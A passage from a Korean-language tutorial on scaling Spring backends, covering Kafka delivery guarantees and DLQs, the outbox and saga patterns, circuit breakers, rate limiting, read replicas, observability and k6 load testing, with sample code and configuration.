kafka-consumer-groups.sh --bootstrap-server kafka1:9092 --describe --group point-service

# 컨트롤러 쿼럼 상태 확인 (KRaft 에서 새로 보게 되는 명령)
kafka-metadata-quorum.sh --bootstrap-server kafka1:9092 describe --status
애플리케이션 코드는 대부분 그대로입니다. 클라이언트는 원래 bootstrap-servers 만 알면 됐기 때문에 spring-kafka 설정도 위의 yaml 그대로 씁니다 — 바뀌는 것은 브로커 운영 쪽입니다. 다만 클라이언트가 너무 낡으면(0.x~2.0 대) 4.x 브로커가 거부합니다. 올리기 전에 spring-kafka / kafka-clients 버전부터 확인하세요.
SCALE 09

Kafka 운영 — 유실 · 중복 · 순서

면접에서 가장 자주 파고드는 세 가지입니다. 보장 수준의 이름부터 외우세요.

전달 보장 세 가지

수준의미와 현실
at-most-once먼저 커밋하고 처리 → 유실 가능. 로그 수집 정도에만
at-least-once처리하고 커밋 → 중복 가능. 실무 기본값. 중복은 k07 멱등성으로 흡수합니다
exactly-once트랜잭션으로 정확히 한 번. Kafka 안에서만 성립하고 성능 대가가 큽니다. 외부 DB 까지는 보장 못 합니다
실무의 정답은 “at-least-once + 멱등 컨슈머”입니다. exactly-once 를 설정으로 사려 하지 말고, 중복이 와도 결과가 같게 만드는 쪽이 훨씬 싸고 튼튼합니다.

유실을 막는 설정

브로커
  min.insync.replicas = 2        # 최소 2대에 써져야 성공 처리
  replication.factor  = 3

프로듀서
  acks = all                     # 위 조건을 실제로 기다림
  enable.idempotence = true      # 재시도로 인한 중복 발행 방지

컨슈머
  enable.auto.commit = false     # ★ 처리 성공 후 수동 커밋
  ack-mode: manual

→ acks=1 이면 리더가 죽는 순간 그 메시지는 사라집니다.
→ auto-commit 은 "받자마자 커밋"이라 처리 중 죽으면 유실입니다.

재시도 · DLQ — 죽은 메시지 보관소

@Bean
DefaultErrorHandler errorHandler(KafkaTemplate<String, Object> template) {
    // 처음 1번 + 재시도 3번이 모두 실패하면 order.created.DLT 토픽으로 보낸다
    var recoverer = new DeadLetterPublishingRecoverer(template,
        (record, ex) -> new TopicPartition(record.topic() + ".DLT", -1));

    var backoff = new ExponentialBackOffWithMaxRetries(3);
    backoff.setInitialInterval(1000);
    backoff.setMultiplier(2.0);                     // 1s → 2s → 4s

    var handler = new DefaultErrorHandler(recoverer, backoff);
    // 재시도해도 소용없는 예외는 즉시 DLQ 로
    handler.addNotRetryableExceptions(
        IllegalArgumentException.class, JsonProcessingException.class);
    return handler;
}
DLQ 를 만들고 안 보면 없는 것과 같습니다. DLT 토픽의 메시지 수에 알람을 걸어 두세요. “조용해서 잘 돌아가는 줄 알았는데 3주치 정산이 DLQ 에 쌓여 있었다”는 실제로 자주 일어나는 사고입니다.

순서 · 리밸런싱 · 컨슈머 랙

  • 순서는 파티션 안에서만 보장됩니다. 순서가 중요한 단위(주문번호·계좌번호)를 키로 주면 같은 파티션으로 갑니다
  • 리밸런싱 — 컨슈머가 들어오고 나갈 때 파티션이 재배분되며 잠깐 멈춥니다. 처리가 max.poll.interval.ms 를 넘으면 쫓겨나 무한 리밸런싱에 빠집니다
  • 한 건이 오래 걸린다면 max-poll-records 를 줄이거나 무거운 일은 별도 스레드 풀로 넘기세요
  • 컨슈머 랙(lag) = 쌓인 양 − 읽은 양. 운영에서 제일 중요한 단일 지표입니다. 계속 커지면 소비가 생산을 못 따라가는 것 — 파티션·컨슈머를 늘립니다
Kafka 가 과한 경우도 많습니다. 단순한 작업 큐라면 Redis Stream·RabbitMQ·심지어 DB 테이블 큐로 충분합니다. Kafka 는 대용량·다중 구독·재처리가 필요할 때 값을 합니다. 운영 인력이 없다면 관리형(MSK·Confluent)을 쓰세요.
SCALE 10

분산 트랜잭션 — 아웃박스와 사가

DB 커밋과 메시지 발행 사이에 서버가 죽으면? 그 틈이 실제로 사고가 됩니다.

이중 쓰기 문제 (Dual Write)

@Transactional
public void order(OrderRequest req) {
    orderRepository.save(order);        // ① DB 커밋
    kafka.send("order.created", event); // ② 메시지 발행
}

문제 1: ① 성공 후 ② 직전에 서버가 죽으면
        → 주문은 있는데 포인트·알림이 영원히 안 감

문제 2: ② 를 먼저 하면
        → 발행됐는데 ① 이 롤백 → 있지도 않은 주문의 이벤트가 돌아다님

문제 3: @Transactional 안에서 send() 를 해도
        → 커밋 전에 이미 나가서, 롤백돼도 되돌릴 수 없음
DB 와 메시지 브로커를 하나의 트랜잭션으로 묶을 수는 없습니다. (XA 2PC 는 가능하지만 느리고 잠기기 쉬워 현대 시스템에선 거의 안 씁니다.) 그래서 나온 게 아웃박스 패턴입니다.

아웃박스 패턴 — 같은 DB 에 같이 쓴다

create table outbox (
  id          bigint       primary key auto_increment,
  aggregate   varchar(50)  not null,     -- order
  event_type  varchar(50)  not null,     -- order.created
  payload     json         not null,
  created_at  timestamp    not null default now(),
  published_at timestamp   null          -- null 이면 아직 안 보냄
);
create index idx_outbox_pending on outbox (published_at, id);
// ① 업무 데이터와 이벤트를 "한 트랜잭션에" 저장 — 원자적
@Transactional
public void order(OrderRequest req) {
    var order = orderRepository.save(Order.of(req));
    outboxRepository.save(Outbox.of("order", "order.created", order));
}

// ② 별도 스케줄러가 안 보낸 것만 골라 발행
@Scheduled(fixedDelay = 1000)
@Transactional
public void relay() throws Exception {
    for (var box : outboxRepository.findTop100Pending()) {
        // send() 는 비동기 — 결과를 기다리지 않고 표시하면 발행 실패분이 "보냄"으로 남아 사라집니다
        kafka.send(box.getEventType(), box.getKey(), box.getPayload())
             .get(5, TimeUnit.SECONDS);    // 브로커 확인(ack)을 받은 뒤에만
        box.markPublished();               // 더티 체킹으로 UPDATE
    }
}
발행이 두 번 될 수는 있습니다(보내고 표시 직전에 죽으면). 그래서 아웃박스 + 멱등 컨슈머(k07) 는 항상 한 세트입니다. 규모가 커지면 스케줄러 대신 Debezium(CDC) 으로 DB 로그를 읽어 자동 발행하게 바꿉니다.

사가(Saga) — 롤백 대신 보상

서비스가 나뉘면 롤백이 없습니다

주문 → 결제 → 재고 차감 → 배송 요청
                   ↑ 여기서 실패하면?

이미 끝난 "결제"를 DB 롤백으로 되돌릴 수 없습니다.
대신 반대 동작(보상 트랜잭션)을 실행합니다.

  재고 차감 실패
    → 결제 취소(환불) 이벤트 발행
    → 주문 상태를 CANCELLED 로

핵심: 모든 단계마다 "그것을 되돌리는 동작"이 짝으로 있어야 합니다.

두 가지 방식

방식특징
코레오그래피
(이벤트 연쇄)
각자 이벤트를 듣고 다음을 실행. 결합도 낮음. 단계가 많아지면 전체 흐름을 아무도 모릅니다
오케스트레이션
(조정자)
중앙 조정자가 순서를 지휘. 흐름이 한눈에 보이고 디버깅이 쉬움. 조정자가 단일 장애점
단계가 3개를 넘으면 오케스트레이션을 쓰세요. 코레오그래피는 처음엔 우아해 보이지만, 장애가 났을 때 지금 어디까지 갔는지 추적이 불가능해집니다.
그리고 진짜 조언 — 서비스를 나누지 않아도 되면 나누지 마세요. 하나의 DB 트랜잭션으로 끝나는 설계가 사가보다 백 배 쉽습니다. 사가는 “이미 나뉘어 있어서 어쩔 수 없을 때”의 해법입니다.
서비스가 나뉘면 하나의 트랜잭션으로 못 묶습니다 문제 — 저장은 됐는데 메시지가 안 나갔다면? DB 커밋과 메시지 발행은 별개입니다 — 사이에서 죽으면 한쪽만 남습니다 반대로 발행은 됐는데 커밋이 실패하면 없는 주문의 메시지가 돌아다닙니다 아웃박스 — 메시지도 같은 트랜잭션 안에 적습니다 주문 저장과 함께 outbox 표에 메시지를 넣습니다 — 둘은 같이 커밋되거나 같이 되돌아갑니다 별도 프로세스가 그 표를 읽어 발행하고 표시합니다. 최소 한 번은 반드시 나갑니다 사가 — 실패하면 앞의 일을 되돌립니다 결제 → 재고 차감 → 배송 요청 중 재고에서 실패하면 결제 취소를 실행합니다 되돌리는 작업(보상)을 미리 설계해 두어야 합니다 — 이것이 사가의 실제 비용입니다 메시지는 두 번 올 수 있습니다 — 받는 쪽을 멱등하게 만드는 것이 전제 조건입니다 가능하면 한 서비스 안에서 끝내세요 — 나누는 순간 이 복잡도가 영구히 따라옵니다
분산 트랜잭션의 답은 완벽함이 아니라 어긋났을 때 어떻게 맞출 것인가입니다.
SCALE 11

장애 격리 — 한 곳이 죽어도 버티기

대규모 장애는 대부분 작은 지연이 전체로 번져서 일어납니다.

서킷 브레이커의 세 상태 — 「아예 시도하지 않는 것」이 내 서비스를 살린다 실패율 초과 대기 시간 경과 CLOSED 평소 — 그대로 호출한다 OPEN 호출 안 함 · 즉시 폴백 HALF_OPEN 몇 개만 시험 호출 시험 호출이 성공하면 → 정상 복귀 죽은 서비스에 계속 요청하면 내 스레드까지 잡아먹힌다 — 즉시 실패시켜야 나머지 기능이 산다 HALF_OPEN 의 시험 호출이 실패하면 다시 OPEN 으로 — 그동안 사용자에게는 폴백이 나간다 순서는 ① 타임아웃 ② 서킷 브레이커 ③ 벌크헤드 ④ 폴백 — 타임아웃만 있어도 절반은 막힌다
서킷이 열려 있는 동안은 호출 자체를 하지 않습니다 — 상대가 회복할 시간을 주는 것이기도 합니다.

장애 전파 시나리오

추천 서비스가 느려짐 (200ms → 10초)
  → 상품 API 스레드가 10초씩 붙잡힘
  → 리틀의 법칙: 200 RPS × 10초 = 2,000 건 필요
  → 톰캣 스레드 200개 즉시 소진
  → 추천과 무관한 "주문 API 까지" 응답 불가
  → 사용자 재시도 → 부하 2배 → 완전 마비

핵심: 죽은 것은 추천 하나인데, 서비스 전체가 멈췄다

막는 장치 네 개 — 이 순서로 적용

장치역할
① 타임아웃가장 중요. 이것만 있어도 절반은 막힙니다
② 서킷 브레이커계속 실패하면 아예 시도하지 않고 즉시 실패
③ 벌크헤드기능별 자원 격리 — 추천이 주문 스레드를 못 먹게
④ 폴백실패했을 때 대신 보여 줄 것 (캐시된 값·빈 목록)
타임아웃 없는 외부 호출은 그 자체로 장애입니다. RestTemplate·WebClient·FeignClient 전부 기본값이 무한 대기이거나 아주 깁니다. 새 클라이언트를 만들 때마다 연결·읽기 타임아웃을 반드시 지정하세요.

Resilience4j — 스프링 표준 조합

implementation("io.github.resilience4j:resilience4j-spring-boot4")
implementation("org.springframework.boot:spring-boot-starter-aspectj")
resilience4j:
  circuitbreaker:
    # 기본 순서는 Retry 가 서킷 브레이커 "바깥" 입니다 — 그러면 브레이커의 폴백이 먼저
    # 실패를 삼켜 재시도가 한 번도 안 일어납니다. 숫자가 작을수록 바깥이므로 뒤집어 줍니다
    circuit-breaker-aspect-order: 1
    instances:
      recommend:
        sliding-window-type: COUNT_BASED
        sliding-window-size: 20
        minimum-number-of-calls: 10       # 10건은 모여야 판단 시작
        failure-rate-threshold: 50        # 50% 실패하면 OPEN
        slow-call-duration-threshold: 2s
        slow-call-rate-threshold: 60      # 느린 호출도 실패로 셈
        wait-duration-in-open-state: 10s  # 10초 뒤 HALF_OPEN 으로 탐색
        permitted-number-of-calls-in-half-open-state: 3
  timelimiter:                     # @TimeLimiter + CompletableFuture 반환 메서드에만 걸립니다
    instances:                     # (아래 동기 메서드는 HTTP 클라이언트 읽기 타임아웃으로 끊으세요)
      recommend: { timeout-duration: 2s }
  retry:
    retry-aspect-order: 2          # ★ 서킷 브레이커(1) 안쪽
    instances:
      recommend:
        max-attempts: 3
        wait-duration: 200ms
        exponential-backoff-multiplier: 2
        # RestClient·RestTemplate 은 IOException 을 ResourceAccessException 으로 감싸 던집니다
        retry-exceptions:
          - org.springframework.web.client.ResourceAccessException
          - java.io.IOException
  bulkhead:
    instances:
      recommend: { max-concurrent-calls: 20 }   # ★ 이 기능은 최대 20개까지만
@Service
class RecommendService {

    @CircuitBreaker(name = "recommend", fallbackMethod = "fallback")
    @Bulkhead(name = "recommend")
    @Retry(name = "recommend")
    public List<Product> recommend(Long userId) {
        return client.get(userId);      // 외부 호출
    }

    // 시그니처 = 원본 파라미터 + Throwable
    private List<Product> fallback(Long userId, Throwable t) {
        log.warn("추천 실패 — 인기 상품으로 대체: {}", t.toString());
        return popularCache.get();      // ★ 빈 화면 대신 그럴듯한 것
    }
}
재시도는 신중하게. 서버가 힘들어서 실패하는 중인데 3배로 때리면 불난 데 기름입니다. 재시도는 일시적 네트워크 오류에만, 반드시 지수 백오프 + 지터와 함께, 그리고 서킷 브레이커 안쪽에서만 하세요.

서킷 브레이커 상태 — 이 그림이면 충분합니다

CLOSED
평상시 — 그냥 통과 실패율을 세고 있습니다. 임계치(예: 50%)를 넘으면 OPEN 으로 갑니다.
▼ 실패율 초과
OPEN
차단 — 시도조차 안 함 즉시 폴백을 반환합니다. 죽은 서버에 부하를 더하지 않고, 우리 스레드도 지킵니다.
▼ 대기 시간 경과
HALF_OPEN
탐색 — 몇 개만 보내 본다 성공하면 CLOSED 로 복귀, 또 실패하면 다시 OPEN. 사람이 개입하지 않아도 자동 복구됩니다.
SCALE 12

Rate Limit — 받을 만큼만 받기

전부 받아 주다 다 같이 죽느니, 일부를 거절하고 나머지를 살리는 편이 낫습니다.

알고리즘 네 가지

방식특징
고정 윈도우가장 단순. 경계에서 2배가 통과하는 결함 (59초·61초에 몰림)
슬라이딩 윈도우경계 문제 해결. 메모리를 조금 더 씁니다
토큰 버킷평소 여유분을 모아 뒀다 순간 폭주(burst)를 허용. API 제한의 표준
리키 버킷일정 속도로만 흘려보냄. 뒷단 보호에 좋지만 burst 를 못 받습니다

어디에 걸 것인가

  • 게이트웨이 — 전체 트래픽 방어 (🚪 Gateway 탭 g07)
  • 애플리케이션 — 사용자별·API 별 세밀한 제한
  • 중요한 건 기준(key) — IP? 사용자ID? API 키? 대개 로그인 전은 IP, 후는 사용자ID
서버가 여러 대면 메모리 카운터는 못 씁니다. 10대에 “분당 60회”를 각자 세면 실제로는 600회가 통과합니다. 기준을 공유하려면 Redis 같은 공용 저장소가 필요합니다.

Redis + Lua — 원자적 토큰 버킷

// Lua 스크립트는 Redis 안에서 "한 덩어리로" 실행됩니다 (경쟁 조건 없음)
private static final String LUA = """
  local key      = KEYS[1]
  local capacity = tonumber(ARGV[1])   -- 버킷 크기
  local rate     = tonumber(ARGV[2])   -- 초당 채워지는 토큰
  local now      = tonumber(ARGV[3])

  local b = redis.call('HMGET', key, 'tokens', 'ts')
  local tokens = tonumber(b[1]) or capacity
  local ts     = tonumber(b[2]) or now

  tokens = math.min(capacity, tokens + (now - ts) * rate)   -- 시간만큼 리필
  local allowed = tokens >= 1
  if allowed then tokens = tokens - 1 end

  redis.call('HMSET', key, 'tokens', tokens, 'ts', now)
  redis.call('EXPIRE', key, 120)
  return allowed and 1 or 0
""";

public boolean allow(String userId) {
    Long ok = redis.execute(RedisScript.of(LUA, Long.class),
        List.of("rate:" + userId),
        "60", "1", String.valueOf(System.currentTimeMillis() / 1000));
    return ok != null && ok == 1L;
}
// 인터셉터에서 걸고, 표준 헤더로 알려 준다
@Component
class RateLimitInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object h) {
        String key = userIdOr(req.getRemoteAddr());
        if (limiter.allow(key)) return true;

        res.setStatus(429);                             // Too Many Requests
        res.setHeader("Retry-After", "10");             // ★ 언제 다시 오라고 알려 주기
        res.setHeader("X-RateLimit-Limit", "60");
        return false;
    }
}
429 는 “거절”이 아니라 “안내”여야 합니다. Retry-After 를 주면 정상 클라이언트는 얌전히 기다립니다. 아무 안내 없이 막으면 즉시 재시도해서 부하가 더 늘어납니다.

라이브러리로 세팅하기 — 코드 몇 줄로 "초당 N건"

Bucket4j — 토큰 버킷 표준 구현

// build.gradle: com.bucket4j:bucket4j-core
// "초당 100건, 순간 버스트 200건까지" 를 코드로 그대로
Bucket bucket = Bucket.builder()
    .addLimit(l -> l.capacity(200)                        // 버킷 크기 = 버스트 허용량
                    .refillGreedy(100, Duration.ofSeconds(1)))  // 초당 100 토큰 리필
    .build();

if (bucket.tryConsume(1)) {
    // 처리
} else {
    // 429 — 다음 토큰까지 남은 시간도 계산해 준다
    long waitNanos = bucket.estimateAbilityToConsume(1).getNanosToWaitForRefill();
    res.setHeader("Retry-After", String.valueOf(waitNanos / 1_000_000_000 + 1));
}

// 사용자별 버킷 — 캐시에 담아 키마다 하나씩
LoadingCache<String, Bucket> buckets = Caffeine.newBuilder()
    .expireAfterAccess(Duration.ofMinutes(10))
    .build(k -> newBucket());

// 서버 여러 대라면: bucket4j-redis 모듈로 같은 API 그대로 분산 버킷
// (원리는 왼쪽 Lua 스크립트와 동일 — 구현을 라이브러리에 맡기는 것)

Resilience4j — 설정 파일로 거는 방식

# application.yml — 코드 수정 없이 API 별 TPS 조정
resilience4j:
  ratelimiter:
    instances:
      orderApi:
        limit-for-period: 50          # 주기당 허용 건수
        limit-refresh-period: 1s      # ★ 이 두 줄이 곧 "초당 50건"
        timeout-duration: 0           # 0 = 초과분 즉시 거절 (대기 없음)
      searchApi:
        limit-for-period: 200
        limit-refresh-period: 1s
        timeout-duration: 500ms       # 500ms 까지는 줄 서서 기다림
@RateLimiter(name = "orderApi", fallbackMethod = "tooMany")
@PostMapping("/orders")
ResponseEntity<OrderRes> create(@RequestBody OrderReq req) { ... }

// 폴백은 원본과 반환 타입이 같아야 합니다 — 다르면 "No fallback method match found"
ResponseEntity<OrderRes> tooMany(OrderReq req, RequestNotPermitted e) {
    return ResponseEntity.status(429)
        .header("Retry-After", "1").build();
}
고르는 기준 — 사용자별·키별 세밀 제어와 분산 버킷은 Bucket4j, 서킷 브레이커(k11)와 한 세트로 API 단위 보호를 설정 파일로 관리하려면 Resilience4j. 둘 다 한 프로세스 기준이므로 서버 대수를 곱해서 생각하는 것을 잊지 마세요 (10대 × 초당 50 = 뒷단엔 초당 500).

그 밖의 부하 차단 장치

대기열 (Virtual Waiting Room)

티켓팅·수강신청·한정판 판매에서 씁니다.

  1) 진입 시 Redis Sorted Set 에 (사용자, 타임스탬프) 등록
  2) 내 순번 = ZRANK → "앞에 12,043명" 안내
  3) 서버는 "초당 N명"씩만 통과시켜 토큰 발급
  4) 통과한 사람만 실제 API 호출 가능

효과: 뒷단은 항상 감당 가능한 만큼만 받는다
     사용자는 "실패" 대신 "순번"을 본다 (체감이 완전히 다름)

우아한 성능 저하 (Graceful Degradation)

  • 부하가 심하면 부가 기능부터 끕니다 — 추천·실시간 재고·개인화
  • 핵심 기능(로그인·결제·주문)은 끝까지 지킵니다
  • 기능 스위치(feature flag)를 미리 만들어 두면 배포 없이 끌 수 있습니다
  • 정적 페이지·캐시된 응답으로 임시 전환하는 경로도 준비해 두세요
“전부 되거나 전부 안 되거나”가 가장 나쁜 설계입니다. 큰 서비스일수록 일부만 꺼진 상태로 버티는 능력이 가치가 큽니다. 장애 훈련 때 “무엇을 먼저 끌지” 순서를 미리 정해 두세요.
토큰 버킷 — 평균은 지키되 짧은 폭주는 허용합니다 초당 10개씩 토큰 채움 버킷 (최대 20개) 요청 도착 토큰 하나를 꺼냅니다 토큰 있음 → 통과 비었음 → 429 Too Many Requests 기준을 무엇으로 잡을까 로그인 전 — IP 단위 (프록시 뒤라면 실제 IP 확인 필요) 로그인 후 — 계정 단위가 정확합니다 비싼 API 는 따로 더 낮은 한도를 겁니다 거절도 친절해야 합니다 Retry-After 헤더로 언제 다시 오면 되는지 알려 줍니다 서버가 여러 대면 카운터를 Redis 에 두어 공유합니다 메모리 카운터는 서버마다 따로 세어 한도가 배로 늘어납니다
모두를 조금씩 느리게 하는 것보다 일부를 정확히 거절하는 편이 낫습니다.
SCALE 13

데이터베이스 확장

서버는 늘리기 쉽지만 DB 는 그렇지 않습니다. 순서대로 검토하세요.

이 순서를 건너뛰지 마세요

1) 쿼리·인덱스 튜닝        ← 90% 는 여기서 끝납니다 (무료)
2) 캐시 (k03~k05)          ← 읽기 부하를 걷어냅니다
3) 커넥션 풀·서버 사양 조정
4) 읽기 복제본(Read Replica)  ← 읽기가 많은 서비스의 정답
5) 수직 분할 (테이블/도메인별 DB 분리)
6) 샤딩                     ← 최후의 수단. 복잡도가 폭발합니다

샤딩부터 검토하는 팀이 의외로 많습니다.
대부분은 인덱스 하나로 해결될 문제입니다.

읽기 복제본 — 스프링 설정

// 트랜잭션이 readOnly 인지 보고 DataSource 를 바꿔치기한다
public class RoutingDataSource extends AbstractRoutingDataSource {
    @Override
    protected Object determineCurrentLookupKey() {
        return TransactionSynchronizationManager.isCurrentTransactionReadOnly()
            ? "replica" : "primary";
    }
}

// ★ 반드시 LazyConnectionDataSourceProxy 로 감싸야 한다.
// 스프링은 트랜잭션 시작 시점(readOnly 판정 전)에 커넥션을 먼저 얻으므로
// 그냥 쓰면 항상 primary 로 간다. 프록시가 실제 커넥션 획득을
// 첫 쿼리 시점까지 미뤄 줘야 replica 라우팅이 동작한다.
@Bean
public DataSource dataSource(RoutingDataSource routing) {
    return new LazyConnectionDataSourceProxy(routing);
}

@Transactional(readOnly = true)      // ★ 이 한 줄로 복제본으로 간다
public List<ProductDto> list() { ... }
복제 지연(replication lag)을 반드시 고려하세요. “글을 쓰고 바로 목록을 봤는데 내 글이 없다” — 복제본이 아직 못 따라온 것입니다. 쓰기 직후 조회는 primary 로 보내거나, 화면에서 낙관적으로 먼저 보여 주세요.

대용량 테이블의 흔한 함정

깊은 페이징 — 100만 페이지
select * from orders
 order by id desc
 limit 20 offset 1000000;
-- 100만 건을 세면서 버리고 20건 반환
-- 뒤로 갈수록 선형으로 느려짐
커서 방식 — 항상 같은 속도
select * from orders
 where id < :lastId          -- 직전 페이지 마지막 id
 order by id desc
 limit 20;
-- 인덱스로 바로 진입. offset 무관
-- COUNT 도 문제입니다: "전체 12,847,392건" 을 매번 세면 느립니다
-- ① 총 개수를 안 보여 주거나 (무한 스크롤)
-- ② "1000+" 처럼 근사치로 (limit 1001 로 세기)
-- ③ 통계 테이블에 주기적으로 저장

그 밖의 실무 규칙

  • 대량 업데이트는 쪼개서 — 한 번에 100만 건 UPDATE 는 락과 복제 지연을 만듭니다. 1,000건씩 나눠 커밋하세요
  • 파티셔닝 — 로그·주문처럼 기간으로 나뉘는 테이블은 월 단위 파티션이 효과적입니다. 오래된 파티션은 DROP 한 번으로 지웁니다 (DELETE 보다 압도적으로 빠름)
  • 인덱스는 공짜가 아닙니다 — 조회는 빨라지고 쓰기는 느려집니다. 안 쓰는 인덱스를 찾아 지우는 것도 튜닝입니다
  • 긴 트랜잭션 금지 — 트랜잭션 안에서 외부 API 를 호출하면 그동안 커넥션과 락을 붙잡고 있습니다 (🗄️ 데이터 탭 d14)
샤딩을 정말 해야 한다면 — 샤드 키를 바꿀 수 없다는 것부터 기억하세요. 키를 잘못 고르면 특정 샤드만 뜨거워지고(핫스팟), 샤드를 넘는 조인·트랜잭션은 애플리케이션이 직접 해야 합니다. 도입 전에 수직 분할·아카이빙으로 미룰 수 있는지 먼저 보세요.
SCALE 14

관측 가능성 — 안 보이면 못 고칩니다

대규모 시스템에서 모니터링은 기능의 일부입니다. 나중에 붙이는 게 아닙니다.

세 기둥

종류답해 주는 질문 · 도구
메트릭“지금 몇 RPS 이고 p99 는?” — Micrometer → Prometheus → Grafana
로그“그때 무슨 일이 있었나?” — Log4j2 → Loki / ELK
추적“이 요청이 어느 서비스에서 느려졌나?” — Micrometer Tracing → OpenTelemetry → Jaeger / Tempo
implementation("org.springframework.boot:spring-boot-starter-actuator")
implementation("io.micrometer:micrometer-registry-prometheus")
implementation("io.micrometer:micrometer-tracing-bridge-otel")
management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus,metrics
  endpoint:
    health:
      show-details: when-authorized
      probes:
        enabled: true             # ★ K8s 용 liveness/readiness
  metrics:
    tags:
      application: ${spring.application.name}   # 대시보드에서 서비스 구분
  observations:
    key-values:
      env: ${ENV:local}
  tracing:
    sampling:
      probability: 0.1            # ★ 운영은 10% — 100% 는 비용이 큽니다

업무 지표를 직접 심기

@Service
@RequiredArgsConstructor
class OrderService {
    private final MeterRegistry registry;

    public void order(OrderRequest req) {
        Timer.Sample sample = Timer.start(registry);
        try {
            process(req);
            registry.counter("order.created",
                "channel", req.channel()).increment();          // 채널별 주문 수
        } catch (OutOfStockException e) {
            registry.counter("order.failed", "reason", "stock").increment();
            throw e;
        } finally {
            sample.stop(registry.timer("order.duration"));      // 소요 시간 분포
        }
    }
}

// 게이지 — 현재 값 (대기열 길이 등)
Gauge.builder("queue.size", queue, Queue::size).register(registry);
태그(label)에 사용자ID·주문번호를 넣지 마세요. Prometheus 는 태그 조합마다 시계열을 하나씩 만듭니다. 고유값을 태그로 쓰면 시계열이 수백만 개가 되어(카디널리티 폭발) 모니터링 서버가 먼저 죽습니다. 그건 로그에 남기세요.

추적 ID — 로그를 하나로 꿰기

<!-- log4j2.xml — traceId·spanId 를 로그 패턴에 넣습니다 -->
<PatternLayout pattern=
  "%d{HH:mm:ss.SSS} [%thread] %-5level [%X{traceId},%X{spanId}] %logger{36} - %msg%n"/>
10:32:01.412 [http-nio-8080-exec-3] INFO  [a1b2c3d4,e5f6] OrderService - 주문 생성 12345
10:32:01.520 [kafka-listener-0]     INFO  [a1b2c3d4,9a8b] PointService - 포인트 적립
10:32:01.733 [http-nio-8080-exec-1] ERROR [a1b2c3d4,7c6d] PayClient    - 결제 게이트웨이 타임아웃

→ traceId 하나로 "여러 서비스에 흩어진 로그"를 한 줄로 이어 봅니다.
   MSA 에서 이게 없으면 장애 분석이 사실상 불가능합니다.
알람은 “증상”에 걸고 “원인”에 걸지 마세요. “CPU 80%” 는 정상일 수도 있습니다. 사용자가 아픈 지표에 거세요 — p99 응답시간·5xx 비율·컨슈머 랙·주문 실패율. 알람이 너무 많으면 아무도 안 봅니다(알람 피로).
SCALE 15

부하 테스트 — 한도를 미리 알기

“몇 명까지 버팁니까?”에 답할 수 있어야 합니다. 답은 측정으로만 나옵니다.

테스트 종류 — 목적이 다릅니다

종류알아내는 것
부하(Load)예상 트래픽에서 정상인지
스트레스어디서 무너지는지 — 한계점 찾기
스파이크갑자기 10배가 오면 — 티켓팅·이벤트 오픈
내구성(Soak)몇 시간 돌리면 — 메모리 누수·커넥션 누수 발견

도구

  • k6 — 자바스크립트로 시나리오 작성. 가볍고 CI 붙이기 좋습니다. 요즘 표준
  • nGrinder — 네이버가 만든 국산 도구. 대기업 사내에서 자주 씁니다
  • JMeter — 오래됐지만 자료가 많고 GUI 가 있습니다
  • Gatling — 스칼라 기반. 리포트가 좋습니다
내 노트북에서 테스트하지 마세요. 부하 생성기 쪽이 먼저 한계에 걸려 서버가 멀쩡한데 느린 것처럼 나옵니다. 생성기는 대상 서버와 같은 네트워크의 별도 장비에 두세요.

k6 — 이 정도면 시작할 수 있습니다

import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  stages: [
    { duration: '2m',  target: 100 },   // 2분간 100명까지 서서히
    { duration: '5m',  target: 100 },   // 5분 유지 ← 여기 지표가 진짜
    { duration: '2m',  target: 500 },   // 스파이크
    { duration: '3m',  target: 0   },   // 회복 확인
  ],
  thresholds: {
    http_req_duration: ['p(95)<500', 'p(99)<1500'],   // 못 지키면 실패
    http_req_failed:   ['rate<0.01'],                  // 오류율 1% 미만
  },
};

export default function () {
  const res = http.get('https://api.example.com/products?page=1');
  check(res, {
    '200 응답': (r) => r.status === 200,
    '500ms 이내': (r) => r.timings.duration < 500,
  });
  sleep(1);              // ★ 실제 사용자처럼 생각하는 시간을 주세요
}

테스트하며 반드시 같이 볼 것

부하 생성기 쪽        서버 쪽 (동시에 봐야 의미가 있습니다)
─────────────────    ────────────────────────────────
RPS                  CPU · 메모리 · GC 횟수/시간
p95 · p99            톰캣 활성 스레드 수
오류율               HikariCP 활성/대기 커넥션
                     DB CPU · 슬로우 쿼리
                     Redis 명령 지연

"어디가 먼저 100% 가 되는가" — 그게 병목입니다.
아무 데도 100% 가 아닌데 느리다면 → 어딘가에서 '대기'하고 있는 것
목표 수치를 먼저 정하고 시작하세요. “빠르게”가 아니라 “피크 1,200 RPS 에서 p99 500ms, 오류율 0.1% 미만”처럼 숫자로 적어야 통과/실패를 판정할 수 있습니다. 이 문장이 곧 SLO 이고, 대기업에서는 이걸 문서로 관리합니다.
SCALE 16

전체 그림 · 실전 체크리스트

지금까지의 조각을 한 장으로. 면접 답변과 설계 리뷰에 그대로 씁니다.

대규모 트래픽 서비스의 표준 구성

                      [CDN]  정적 파일 · 이미지 — 여기서 걷어내면 서버는 편해집니다
                        │
                   [로드밸런서]  헬스체크 · TLS 종료
                        │
                   [API 게이트웨이]  인증 · Rate Limit · 라우팅 · 서킷 브레이커
                        │
        ┌───────────────┼───────────────┐
   [주문 서비스]    [상품 서비스]    [회원 서비스]     ← 각각 여러 대, 오토스케일
        │               │               │
        │          [Redis]  캐시 · 분산락 · 세션 · 랭킹
        │               │
   [Primary DB] ──복제──→ [Read Replica ×N]
        │
   [Kafka]  주문 이벤트 → 포인트 · 알림 · 정산 · 검색색인 (각자 구독)
        │
   [관측]  Prometheus + Grafana · Loki · Tempo(추적)  ← 전 구간에서 수집

배포 전 체크리스트

  • ☐ 모든 외부 호출에 타임아웃이 있는가 (연결·읽기 둘 다)
  • ☐ 커넥션 풀 크기 × 서버 대수가 DB 최대 접속 수 안에 들어오는가
  • ☐ 캐시 TTL 에 랜덤을 섞었는가 (스탬피드 방지)
  • ☐ 재시도하는 API 는 멱등한가
  • ☐ 재고·포인트 차감이 원자적인가 (읽고→판단→쓰기 아닌가)
  • ☐ 컨슈머가 같은 메시지를 두 번 받아도 괜찮은가
  • ☐ DLQ 에 알람이 걸려 있는가
  • ☐ readiness 프로브(/actuator/health/readiness)가 DB 상태까지 보는가 (liveness 에 DB 를 넣으면 안 됩니다)
  • ☐ p99·오류율·컨슈머 랙에 알람이 있는가
  • ☐ 로그에 traceId 가 찍히는가
  • ☐ 부하 테스트로 한계 RPS 를 아는가
